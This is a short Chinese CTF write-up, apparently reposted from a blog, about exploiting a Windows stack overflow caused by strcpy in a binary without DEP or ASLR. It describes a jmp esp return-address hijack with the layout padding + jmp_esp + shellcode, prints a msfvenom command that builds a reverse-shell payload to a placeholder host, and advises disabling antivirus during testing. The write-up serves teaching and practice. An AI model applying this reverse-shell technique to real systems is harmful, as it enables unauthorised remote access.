windows-PWN小计

windows-PWN小计

由于最近有同事在考某证所以给了我道windows的PWN,好像windows-pwn的学习相对较少,好像并没有

前置知识

​ 要知道二进制漏洞一般都是万变不离其宗,想堆栈溢出不管是linux下,Windows下,甚至是一些RTOS下,都是由于用户的输入数据(在比赛中通常是标准的IO,真实漏洞挖掘中是一些协议的与服务的数据包)导致了内存的破坏,作为一个pwner在ctf中我们见惯了linux下的PWN,也知道要使用栈溢出等内存破坏漏洞PWN一个程序,非常重要的就是程序开启的保护以及程序的保护壳

Windows下的软件保护

​ 具体保护可以看下面文章的描述

​ Windows内存保护机制及绕过方法

​ 开发exe程序,大部分都是使用vc,vs等编译器,大部分保护都是这些编译器在编译过程中加入的

具体题目

整理思路

​ 整个程序栈溢出点比较好找,在windows-pwn中比较简单的就是程序没有开启DEP保护,数据段可以执行。具体可以看程序是什么编译器生成的以及加入了哪些保护壳

​ exeinfo截图如下

windows-PWN小计_第1张图片

​ 程序是由vc++中是不会支持到DEP与ASLR的引入的,保护相对是没有的,且程序没有壳,所以可以往内存中注入shellcode执行即可

寻找漏洞触发

​ 经过分析程序是使用strcpy函数将输入拷贝到栈上导致了栈溢出,需要寻找一条jmp esp的指令通过附件中给的dll找到,然后将返回地址劫持到此处,随后就会跳转到之后布置的shellcode上

windows-PWN小计_第2张图片

​ payload的构造如下具体内存中的布局如下

padding + jmp_esp + shellocde

windows-PWN小计_第3张图片

​ shellcode的生成可以使用msf生成reverse_shellcode

msfvenom -p windows/shell_reverse_tcp LHOST=xxx LPORT=xxx -b "xxxx" EXITFUNC=thread -f c
成功反弹

windows-PWN小计_第4张图片

PS

​ 比较坑的一点就是开始没有分析整个程序的代码,整个程序导致一直在测badchar,拿到程序最好还是先分析
第二点就是本地测试的时候记得把杀软关了,它检测到有恶意连接会直接kill掉

你可能感兴趣的:(学习,安全,学习)